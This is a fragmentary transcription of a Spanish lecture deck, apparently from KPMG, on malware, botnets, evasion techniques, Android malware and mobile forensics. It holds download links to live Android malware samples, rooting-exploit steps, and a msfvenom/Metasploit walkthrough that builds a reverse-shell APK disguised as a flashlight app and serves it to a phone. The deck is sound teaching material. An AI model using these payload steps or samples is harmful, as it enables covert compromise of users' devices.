FEEL FREE - CriptoRed
Transcripción
FEEL FREE - CriptoRed
FEEL FREE A NEW APPROACH TO CYBER SECURITY 0 Big4 Fundada en 1917 Más de 174.000 empleados Servicios de auditoría, fiscales y de asesoramiento legal, financiero y de negocio 1 2 CUTTING THROUGH SECURITY COMPLEXITY La aproximación a los servicios de seguridad se ha diseñado para ser simple y efectiva –alineada a las necesidades de nuestros clientes resolviendo sus servicios de seguridad, siguiendo el modelo de Buscar / Resolver / Operar. Ayudando a los clientes a detectar y responder los Ciber incidentes, entendiendo las amenazas a su negocio, sus vulnerabilidades y riesgos. Ayudando a los clientes a construir y mejorar su Ciberseguridad, soportada por las personas, organización y tecnologías adecuadas. Ayudando a los clientes a permanecer seguros en todo su negocio y evolucionando y madurando sus programas tecnológicos. 3 4 • Proviene del inglés, malicious software • Su objetivo (principal) es dañar un equipo informático o infiltrarse para recuperar información del mismo, sin el consentimiento de su propietario. • La ausencia de dicho consentimiento no determina de forma inherente que su objetivo sea malicioso • MDM, control parental, troyano policial, … 5 publicidad en equipos infectados puerta trasera backdoor+spyware (espionaje) deniega un sistema replicando procesos red zombie específico para delitos financieros cifra sistema y pide rescate (ransom) acceden a sitios con contenido de pago bromas 6 capturas de pulsaciones de ratón y teclado malware descargado de páginas porno diseñado para robo de correos y credenciales se ocultan en procesos suplantar Hosts y redirigir a páginas premium suplantación de identidad en web/email acceden a sitios porno de pago software con vulnerabilidades conocidas simula malware falso 7 oculta información en un sistema similar rogue, causar pánico para cobrar correo basura robo de información control remoto sobre sistema altera el funcionamiento de un sistema. Infectan normalmente archivos altera un sistema para dañarlo. Reside memoria 8 Comienzo en los Crecimiento lento en los 70-80 En los el problema a explotado a nivel mundial gracias al crecimiento exponencial de las líneas de Internet. 9 En 1960 el DEC PDP-1 creó el “cinescopio”, el primer monitor para un ordenador. Este invento inspiró a los primeros “hackers”, , de los laboratorios Bell, a programar el primer videojuego “ ”, al que denominaron “Darwin”. Consistía en enemigo (como si de un gusano se tratase). compartida para destruir al 10 •Darwin •Creeper •Rabbit •Animal-Pervade •Worm •Elk cloner •Viernes 13 •Jerusalén •Dark Avenger •VCL •Phalcon/Skism Mass-Produced Code Generator •Michelangelo •Concept •Lady Di •Laroux •AccessiV •Melissa •Happy99 •IWorm.ExploreZi p •VBSWG •ILOVEYOU •Pirus •Ramen •Lion •BadTrans •CodeRed •Spida •Benjamin •Slammer •Blaster •Agobot •Mydoom •Brador •Stardust •Staroffice •Leap •Conficker •Stuxnet •Zeus •Duqu •Flame/ Skywiper •Sirefef/ ZeroAccess •Reveton •Dorkbot •RedOctober •Cryptolocker •Torrentlocker •CBLocker •Careto/ Mask •CryptoJoker 11 12 ¿Qué es? Conjunto de equipos conectados a una red como Internet, que interactúan entre sí para ejecutar tareas de manera distribuida Controlados desde uno o varios paneles de control que coordinan las acciones que deben realizar. Realización de ataques de denegación de servicio, robo de información de los usuarios con fines delictivos. Sin embargo también son muchos los usos legítimos con los que cuentan las botnets (Boinc, Seti@Home, Distribuited.net, etc.). 13 Dame instrucciones Componentes Bot Botmaster Zombie Panel de control Toma instrucciones 14 Más grandes de la historia Bredolab: 30 millones de equipos infectados Mariposa: 12,7 millones de infectados. Conficker: 10,5 millones de equipos infectados TDL4: 4,5 millones de equipos infectados Zeus: 3,6 millones de equipos infectados. 15 Tipos 16 Fases 1. Selección de objetivos 2. Proceso de infección 3. Propagación de la botnet 17 Técnicas de evasión principales 1. Modificación de instrucciones 2. Ofuscación y cifrado 3. Oligorfismo, polimorfismo y metamorfismo 4. Distribución y cifrado de cadenas 5. Inyección dinámica de instrucciones 6. Etc. 18 Modificación de instrucciones Modificación directa de instrucciones sobre el código fuente del malware Puede que no tengamos el código fuente Sin código fuente, habría que hacer ingeniería inversa (mucho trabajo) 19 Ofuscación y cifrado Ocultar el flujo de control y las estructuras de datos que contienen información detectable del malware Objetivo de los crypters: http://www.crypters.org Son validos durante unos días, porque las empresas antivirus analizan de forma habitual los foros de malware, con el fin de descargarse los nuevos ejemplares y así poder agregar las nuevas firmas a sus motores antivirus. 20 Oligorfismo, polimorfismo y metamorfismo : cuentan con sistemas de cifrado/descifrado para mejorar su ocultación (sin usar crypters). : evolución en la que añaden la capacidad de generar de forma ilimitada nuevos cifradores y descifradores. , es capaz de mutar su propio código entero, añadiendo instrucciones de tipo “jump” o salto, como si de un crypter se tratase. 21 Distribución y cifrado de cadenas Las casas de antivirus, suelen buscar en los malware ciertas cadenas que son muy significativas Es habitual que las firmas de detección se apliquen sobre estos strings Se basa en codificar y cifrar todas las cadenas de texto, y de ser posible, sean divididas en trozos y unidas por el malware una vez se encuentre en funcionamiento. 22 Inyección dinámica de instrucciones El malware no aloja en su código las instrucciones más delicadas Las instrucciones son almacenadas en otros archivos alojados en el equipo o incluso en Internet, y en tiempo de ejecución son accedidos y cargados en memoria Ejemplo: función GetProcAddress() de C, obtener la dirección de memoria donde se encuentran cargadas las funciones del código malicioso y ejecutarlo. 23 ¿Malo? ¿Bueno? Mejor llamarlo Legal vs Ilegal 1. Delincuencia 2. MDM 3. Control parental 4. Troyano policial 5. Hobby y aprendizaje 6. Etc. 24 Ley Orgánica 13/2015, de 5 de octubre de 2015, de modificación de la Ley de Enjuiciamiento Criminal para el fortalecimiento de las garantías procesales y la regulación de las medidas de investigación tecnológicas <<CAPÍTULO IX Registros remotos sobre equipos informáticos Articulo 588 septies a. Presupuestos. 1. El juez competente podrá autorizar la utilización de datos de identificación y códigos, así como la instalación de un software, que permitan, de forma remota y telemática, el examen a distancia y sin conocimiento de su titular o usuario del contenido de un ordenador, dispositivo electrónico, sistema informático, instrumento de almacenamiento masivo de datos informáticos o base de datos, siempre que persiga la investigación de alguno de los siguientes delitos: a) Delitos cometidos en el seno de organizaciones criminales. b) Delitos de terrorismo. c) Delitos cometidos contra menores o personas con capacidad modificada judicialmente. d) Delitos contra la Constitución, de traición y relativos a la defensa nacional. e) Delitos cometidos a través de instrumentos informáticos o de cualquier otra tecnología de la información o la telecomunicación o servicio de comunicación. 25 2. La resolución judicial que autorice el registro deberá especificar: a) Los ordenadores, dispositivos electrónicos, sistemas informáticos o parte de los mismos, medios informáticos de almacenamiento de datos o bases de datos, datos u otros contenidos digitales objeto de la medida. b) El alcance de la misma, la forma en la que se procederá al acceso y aprehensión de los datos o archivos informáticos relevantes para la causa y el software mediante el que se ejecutará el control de la información. c) Los agentes autorizados para la ejecución de la medida. d) La autorización, en su caso, para la realización y conservación de copias de los datos informáticos. e) Las medidas precisas para la preservación de la integridad de los datos almacenados, así como para la inaccesibilidad o supresión de dichos datos del sistema informático al que se ha tenido acceso. 3. Cuando los agentes que lleven a cabo el registro remoto tengan razones para creer que los datos buscados están almacenados en otro sistema informático o en una parte del mismo, pondrán este hecho en conocimiento del juez, quien podrá autorizar una ampliación de los términos del registro. >> 26 XNSpy Droidjack (Sandrorat) 27 28 29 30 31 Flappy Birds NotCompatible Android Locker Qqmagic Android Proxy Trojan Xoryp 32 Objetivo: enviar y recibir mensajes de texto con el fin de acumular cargos por mensajería a números de tarificación adicional. Muestra: http://mfile.me/upload/bookmark/2014/0208/choingaygame/1391 825505/flappy-bird.apk Código SMS: Landroid/telephony/SmsManager;->getDefault()Landroid/telephony/SmsManager; called from Lcom/hdc/ultilities/SendSMS$1;->run()V Landroid/telephony/SmsManager;->sendTextMessage(Ljava/lang/String; Ljava/lang/String; Ljava/lang/String; Landroid/app/PendingIntent; Landroid/app/PendingIntent;)V called from Lcom/hdc/ultilities/SendSMS$1;>run()V 33 send SMS messages android.permission.READ_EXTERNAL_STORAGE (read from external storage) android.permission.RECEIVE_BOOT_COMPLETED (automatically start at boot) android.permission.READ_PHONE_STATE (read phone state and identity) android.permission.SYSTEM_ALERT_WINDOW (display system-level alerts) android.permission.ACCESS_WIFI_STATE (view Wi-Fi status) android.permission.WAKE_LOCK (prevent phone from sleeping) android.permission.GET_TASKS (retrieve running applications) android.permission.VIBRATE (control vibrator) android.permission.ACCESS_NETWORK_STATE (view network status) android.permission.INTERNET (full Internet access) android.permission.WRITE_EXTERNAL_STORAGE (modify/delete SD card contents) receive SMS) ¿¿PARA QUE QUIERE UN VIDEOJUEGO ENVIAR SMS?? 34 Troyano clásico de tipo actualización: no solicita los permisos en la primera instalación, sino en una actualización. Los datos de conexión se encuentran en data.bin dentro del directorio “/data/data/com.Security.Update/files/“, y su contenido se encuentra cifrado, con AES-ECB y una clave prefijada en la variable passkey “ZTY4MGE5YQo”. Nombre: com.security.update Muestra: http://www.mediafire.com/download/sjra9tzd14babma/Notcompati bleC_FEACE958B47C2249C6AB8DDF804CDCB6_com.security.pat ch.zip 35 RECEIVE_BOOT_COMPLETED (automatically start at boot) INTERNET (full Internet access) ACCESS_NETWORK_STATE (view network status) 36 Tipo: ransomware clásico. Cifra y pide rescate Muestra: http://www.mediafire.com/do wnload/1v8c3t94xw5j81b/An droid-Locker-qqmagic735B4E78B334F6B9EB19E70 0A4C30966.zip 37 android.permission.SEND_SMS (send SMS messages) android.permission.RECEIVE_BOOT_COMPLETED (automatically start at boot) android.permission.SYSTEM_ALERT_WINDOW (display systemlevel alerts) android.permission.ACCESS_NETWORK_STATE (view network status) android.permission.RECEIVE_SMS (receive SMS) android.permission.INTERNET (full Internet access) 38 Detección: 9 de abril de 2013 Troyano clásico: mensajes, registro de llamadas, historial de navegación, ubicación GPS, SMS, Wi-Fi/3G, IMEI, cuentas del usuario, etc. Nombre: com.studio.proxy.apk Muestra: http://www.mediafire.com/download/n26zjz8rb7p2z4l/co m.studio.proxy_D05D3F579295CD5018318072ADF3B83 D-samp.zip 39 android.permission.CHANGE_NETWORK_STATE (change network connectivity) android.permission.SEND_SMS (send SMS messages) android.permission.DISABLE_KEYGUARD (disable key lock) android.permission.READ_PHONE_STATE (read phone state and identity) android.permission.ACCESS_WIFI_STATE (view Wi-Fi status) android.permission.ACCESS_COARSE_LOCATION (coarse (network-based) location) android.permission.WAKE_LOCK (prevent phone from sleeping) android.permission.RECEIVE_SMS (receive SMS) android.permission.INTERNET (full Internet access) android.permission.ACCESS_NETWORK_STATE (view network status) android.permission.WRITE_EXTERNAL_STORAGE (modify/delete SD card contents) android.permission.READ_CONTACTS (read contact data) android.permission.GET_ACCOUNTS (discover known accounts) android.permission.READ_SMS (read SMS or MMS) 40 41 1. msfvenom –p android/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 R > /root/linterna.apk 2. 3. 4. 5. 6. 7. 8. 9. service apache2 start cp /root/linterna.apk /var/www/html msfconsole use exploit/multi/handler set payload android/meterpreter/reverse_tcp set LHOST 192.168.1.50 set LPORT 4444 exploit 10. Abrir http://192.168.1.50/linterna.apk en el smartphone 42 43 44 45 46 ¿Qué ha ocurrido? ¿cómo? ¿por qué? ¿dónde? ¿cuándo? 47 • • • • • 48 Super One Click FTK Imager WForensic DD ADB 49 • Preservar las evidencias • Obtener información del dispositivo • • • • • Adquirir información de la tarjeta SIM • Informe 50 51 • • Marca, modelo y proveedor de servicio • http://www.phonescoop.com/phones/finder.p hp • • Interfaz de dispositivo • Etiquetas • Series • Hora del móvil • Software de sincronización 52 • • • • 53 54 55 1. 2. 3. 4. Instalar el SDK de Android en un PC Conectar el móvil al PC mediante ADB Rootear (al menos temporalmente) el móvil con Android Clonar mediante dd las particiones del móvil 1. Adquirir un producto de análisis forense automático 56 57 58 59 60 61 62 7.- Conectar el móvil y comprobar instalación 8.- Reiniciar 9.- Conectar móvil con modo depuración USB activado 63 • • • • 64 • • Muestra si el móvil está conectado • Por si ha habido algún problema • • • Instala/desinstala aplicaciones en el terminal Arranca una shell dentro del terminal Intercambia archivos 65 $ 66 • • • • : Uso de software como SuperOneClick o ExynosAbuse : Root a través de recovery • 67 ANDROID 2.X • • • • 68 ANDROID 2.X 69 ANDROID 4.X 1. Formatear una tarjeta micro sd a FAT32 2. Desplegar en la tarjeta el firmware modificado uberoid 1.0 (http://ul.to/fd3flqnp) o 2.0 (http://ul.to/s8a7j1zr) 3. Introducir la tarjeta en el terminal apagado y encender (tened en cuenta que no sabremos el PIN) 4. Ya eres root 70 ANDROID 4.X 1. Permitir la instalación de apps de fuera de Play Store. 2. Ir a https://towelroot.com/ y descargar la aplicación 3. Ejecutar y “make it ra1n” 4. Esperar y tras el reinicio el terminal está rooteado. No funciona en terminales HTC y Motorola. 71 # 72 • A través de DD – dd if=/dev/mtd/mtd1ro of=/sdcard/mtd1ro.dd bs=4096 73 YAFFS Caso de los antiguos sistemas Android • Memory Technology Device (MTD): Subsistema Linux utilizado en medios flash como en móviles. • IDE (/dev/hd* = hard drive) • SCSI o SATA (/dev/sd*) • MTD (/dev/mtd*) • Podemos obtener más información de los dispositivos inspeccionando /dev y /proc 74 YAFFS 75 EXT Correspondencia de particiones y puntos de montaje: Particiones: 76 77 78 79 • En las tarjetas SD no se almacena la información del sistema • Se almacenan datos de usuario como archivos grandes, multimedia, fotos, vídeos, etc. • El proceso de extracción es bastante sencillo y se centra en el uso de ciertas herramientas. 80 1. Extraeremos la tarjeta SD/MicroSD/MiniSD del terminal 2. La insertaremos en un lector de tarjetas, mapeándola como solo lectura para no dañar la evidencia 3. La clonaremos con dd u otra herramienta y calcularemos el hash 4. Analizaremos el clon de la tarjeta con herramientas como Autopsy o FTK Imager 81 82 • • • 83 84 85 • Si descomprimimos el fichero .apk y abrimos el fichero AndroidManifest.xml, no veremos nada porque está codificado. • Pasos a seguir: 1. Descargar la herramienta apktool 2. Copiar el archivo .apk en la carpeta raíz 3. Introducir el comando: apktool d NombreApp.apk ./RutaSalida Ej. apktool.bat d facebook.apk fbook 86 Extraer el código fuente de la aplicación a partir del fichero .apk En el proceso de empaquetado: Para el proceso de reversing 87 PASO 1: Procedimiento: Copiar el fichero .apk en la raíz de dex2jar Abrir un cmd y situarse en la ruta anterior Ejecutar el comando dex2jar nombreAplicacion.apk 88 PASO 2: Procedimiento: Instalar JD-Gui y abrir el fichero .jar obtenido en el paso anterior Guardar todas los ficheros de código fuente en la ruta deseada 89 Identifica aplicaciones inseguras o maliciosas. Búsqueda estratégica de fragmentos de código. Especial hincapié en aspectos potencialmente inseguros: Preferencias de las aplicaciones Almacenamiento en la SDCard Logs getSharedPreferences() MODE_PRIVATE MODE_WORLD_READABLE MODE_WORD_WRITEABLE addPreferencesFormResource getExternalStorageDirectory() sdcard Log 90 Sentencias JavaScript SQLite addJavascriptInterface() setJavaScriptEnabled(true) db sqlite database insert delete select table cursor rawQueryin 91 Notificaciones Toast Debuggable Identificadores Toast.makeText android:debuggable uid, user-id, imei, deviceId, deviceSerialNumber, devicePrint, X-DSN, phone, mdn, did, IMSI, uuid 92 Lo que el usuario ve Tapjacking Hashes Conexiones filterTouchesWhenObscured="true" MD5 BASE64 des http https HttpURLConnection URLConnection URL TrustAllSSLSocket-Factory AllTrustSSLSocketFactory NonValidatingSSLSocketFactory Lo que realmente esta pasando 93 Aplicación 1 Intent Injection Action.getIntent() intent Activity 1 Activity 2 Activity 3 intent Localizacion GPS getLastKnownLocation() requestLocationUpdates() getLatitude() getLongitude() LOCATION intent Aplicación 2 Activity 1 Activity 2 Activity 3 94 pero con saber interpretar código java podréis hacer un trabajo importante (mucho más sencillo que ASM) 95 96 proyectos nacionales e internacionales • recibirás formación especializada • • • Hacking ético (rompiendo y solucionando) • Cumplimiento normativo (LOPD, ISO27001, …) • Vigilancia digital (I+D, análisis e inteligencia) • • Senior • Junior • Becas • 97 Contáctanos: Partner – IT Advisory Director – Cyber Security Senior Manager - Cyber Security FIjo: 91 456 38 31 Email: [email protected] Fijo: 91 456 59 04 Móvil: 666 48 26 51 Email: [email protected] Móvil: 608 91 95 03 Twitter: @jantonioCalles Email: [email protected] www.kpmg.es | www.kpmgciberseguridad.es © 2015 KPMG Asesores S.L., sociedad española de responsabilidad limitada y firma miembro de la red KPMG de firmas independientes afiliadas a KPMG International Cooperative (“KPMG International”), sociedad suiza. Todos los derechos reservados. KPMG, el logotipo de KPMG y “cutting through complexity” son marcas registradas o comerciales de KPMG International. Esta propuesta de servicios ha sido realizada por KPMG Asesores, S.L. sociedad española de responsabilidad limitada y miembro de la red de firmas independientes afiliadas a KPMG International, sociedad suiza, y está sujeta, a todos los efectos, a la negociación, acuerdo y firma de una carta de encargo o contrato específico. KPMG International no presta servicios a clientes. Ninguna filial o firma miembro tiene autoridad para obligar o vincular a KPMG International o a otra firma miembro con respecto a terceros ni KPMG International tiene autoridad para obligar o vincular a ninguna firma miembro.